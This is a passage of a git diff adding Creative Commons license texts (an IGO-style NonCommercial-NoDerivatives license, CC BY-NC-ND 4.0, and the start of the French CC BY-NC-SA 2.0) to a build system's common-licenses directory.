+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("LICENSE"). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ f. "Distribute" means the activity of making publicly available the Work (or copies of the Work), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ g. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ h. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ i. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections.
+
+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats, but otherwise you have no rights to make Adaptations. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(d).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(c), as requested.
+
+ b. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ c. If You Distribute, or Publicly Perform the Work or any Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work. The credit required by this Section 4(c) may be implemented in any reasonable manner; provided, however, that in the case of a Collection, at a minimum such credit will appear, if a credit for all contributors to the Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ d. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(b) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ e. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ c. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ d. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ e. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ f. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ g. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(e), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-4.0 b/meta/files/common-licenses/CC-BY-NC-ND-4.0
new file mode 100644
index 0000000000..6f2a684c1a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-4.0
@@ -0,0 +1,155 @@
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ i. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ j. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ k. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce and reproduce, but not Share, Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material, You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ For the avoidance of doubt, You do not have permission under this Public License to Share Adapted Material.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only and provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
new file mode 100644
index 0000000000..9f7f9103ea
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-FR
@@ -0,0 +1,93 @@
+Creative Commons Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique 2.0
+
+ Creative Commons n'est pas un cabinet d'avocats et ne fournit pas de services de conseil juridique. La distribution de la présente version de ce contrat ne crée aucune relation juridique entre les parties au contrat présenté ci-après et Creative Commons. Creative Commons fournit cette offre de contrat-type en l'état, à seule fin d'information. Creative Commons ne saurait être tenu responsable des éventuels préjudices résultant du contenu ou de l'utilisation de ce contrat.
+
+Contrat
+
+L'Oeuvre (telle que définie ci-dessous) est mise à disposition selon les termes du présent contrat appelé Contrat Public Creative Commons (dénommé ici « CPCC » ou « Contrat »). L'Oeuvre est protégée par le droit de la propriété littéraire et artistique (droit d'auteur, droits voisins, droits des producteurs de bases de données) ou toute autre loi applicable. Toute utilisation de l'Oeuvre autrement qu'explicitement autorisée selon ce Contrat ou le droit applicable est interdite.
+
+L'exercice sur l'Oeuvre de tout droit proposé par le présent contrat vaut acceptation de celui-ci. Selon les termes et les obligations du présent contrat, la partie Offrante propose à la partie Acceptante l'exercice de certains droits présentés ci-après, et l'Acceptant en approuve les termes et conditions d'utilisation.
+
+1. Définitions
+
+ a. « Oeuvre » : oeuvre de l'esprit protégeable par le droit de la propriété littéraire et artistique ou toute loi applicable et qui est mise à disposition selon les termes du présent Contrat.
+
+ b. « Oeuvre dite Collective » : une oeuvre dans laquelle l'oeuvre, dans sa forme intégrale et non modifiée, est assemblée en un ensemble collectif avec d'autres contributions qui constituent en elles-mêmes des oeuvres séparées et indépendantes. Constituent notamment des Oeuvres dites Collectives les publications périodiques, les anthologies ou les encyclopédies. Aux termes de la présente autorisation, une oeuvre qui constitue une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée (telle que définie ci-après).
+
+ c. « Oeuvre dite Dérivée » : une oeuvre créée soit à partir de l'Oeuvre seule, soit à partir de l'Oeuvre et d'autres oeuvres préexistantes. Constituent notamment des Oeuvres dites Dérivées les traductions, les arrangements musicaux, les adaptations théâtrales, littéraires ou cinématographiques, les enregistrements sonores, les reproductions par un art ou un procédé quelconque, les résumés, ou toute autre forme sous laquelle l'Oeuvre puisse être remaniée, modifiée, transformée ou adaptée, à l'exception d'une oeuvre qui constitue une Oeuvre dite Collective. Une Oeuvre dite Collective ne sera pas considérée comme une Oeuvre dite Dérivée aux termes du présent Contrat. Dans le cas où l'Oeuvre serait une composition musicale ou un enregistrement sonore, la synchronisation de l'oeuvre avec une image animée sera considérée comme une Oeuvre dite Dérivée pour les propos de ce Contrat.
+
+ d. « Auteur original » : la ou les personnes physiques qui ont créé l'Oeuvre.
+
+ e. « Offrant » : la ou les personne(s) physique(s) ou morale(s) qui proposent la mise à disposition de l'Oeuvre selon les termes du présent Contrat.
+
+ f. « Acceptant » : la personne physique ou morale qui accepte le présent contrat et exerce des droits sans en avoir violé les termes au préalable ou qui a reçu l'autorisation expresse de l'Offrant d'exercer des droits dans le cadre du présent contrat malgré une précédente violation de ce contrat.
+
+ g. « Options du Contrat » : les attributs génériques du Contrat tels qu'ils ont été choisis par l'Offrant et indiqués dans le titre de ce Contrat : Paternité - Pas d'Utilisation Commerciale - Partage Des Conditions Initiales A l'Identique.
+
+2. Exceptions aux droits exclusifs. Aucune disposition de ce contrat n'a pour intention de réduire, limiter ou restreindre les prérogatives issues des exceptions aux droits, de l'épuisement des droits ou d'autres limitations aux droits exclusifs des ayants droit selon le droit de la propriété littéraire et artistique ou les autres lois applicables.
+
+3. Autorisation. Soumis aux termes et conditions définis dans cette autorisation, et ceci pendant toute la durée de protection de l'Oeuvre par le droit de la propriété littéraire et artistique ou le droit applicable, l'Offrant accorde à l'Acceptant l'autorisation mondiale d'exercer à titre gratuit et non exclusif les droits suivants :
+
+ a. reproduire l'Oeuvre, incorporer l'Oeuvre dans une ou plusieurs Oeuvres dites Collectives et reproduire l'Oeuvre telle qu'incorporée dans lesdites Oeuvres dites Collectives;
+
+ b. créer et reproduire des Oeuvres dites Dérivées;
+
+ c. distribuer des exemplaires ou enregistrements, présenter, représenter ou communiquer l'Oeuvre au public par tout procédé technique, y compris incorporée dans des Oeuvres Collectives;
+
+ d. distribuer des exemplaires ou phonogrammes, présenter, représenter ou communiquer au public des Oeuvres dites Dérivées par tout procédé technique;
+
+ e. lorsque l'Oeuvre est une base de données, extraire et réutiliser des parties substantielles de l'Oeuvre.
+
+Les droits mentionnés ci-dessus peuvent être exercés sur tous les supports, médias, procédés techniques et formats. Les droits ci-dessus incluent le droit d'effectuer les modifications nécessaires techniquement à l'exercice des droits dans d'autres formats et procédés techniques. L'exercice de tous les droits qui ne sont pas expressément autorisés par l'Offrant ou dont il n'aurait pas la gestion demeure réservé, notamment les mécanismes de gestion collective obligatoire applicables décrits à l'article 4(e).
+
+4. Restrictions. L'autorisation accordée par l'article 3 est expressément assujettie et limitée par le respect des restrictions suivantes :
+
+
+ a. L'Acceptant peut reproduire, distribuer, représenter ou communiquer au public l'Oeuvre y compris par voie numérique uniquement selon les termes de ce Contrat. L'Acceptant doit inclure une copie ou l'adresse Internet (Identifiant Uniforme de Ressource) du présent Contrat à toute reproduction ou enregistrement de l'Oeuvre que l'Acceptant distribue, représente ou communique au public y compris par voie numérique. L'Acceptant ne peut pas offrir ou imposer de conditions d'utilisation de l'Oeuvre qui altèrent ou restreignent les termes du présent Contrat ou l'exercice des droits qui y sont accordés au bénéficiaire. L'Acceptant ne peut pas céder de droits sur l'Oeuvre. L'Acceptant doit conserver intactes toutes les informations qui renvoient à ce Contrat et à l'exonération de responsabilité. L'Acceptant ne peut pas reproduire, distribuer, représenter ou communiquer au public l'Oeuvre, y compris par voie numérique, en utilisant une mesure technique de contrôle d'accès ou de contrôle d'utilisation qui serait contradictoire avec les termes de cet Accord contractuel. Les mentions ci-dessus s'appliquent à l'Oeuvre telle qu'incorporée dans une Oeuvre dite Collective, mais, en dehors de l'Oeuvre en elle-même, ne soumettent pas l'Oeuvre dite Collective, aux termes du présent Contrat. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Collective, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Collective toute référence au dit Auteur, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Offrant, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Offrant, comme demandé. Si l'Acceptant crée une Oeuvre dite Dérivée, à la demande de tout Auteur, il devra, dans la mesure du possible, retirer de l'Oeuvre dite Dérivée toute référence au dit Auteur, comme demandé.
+
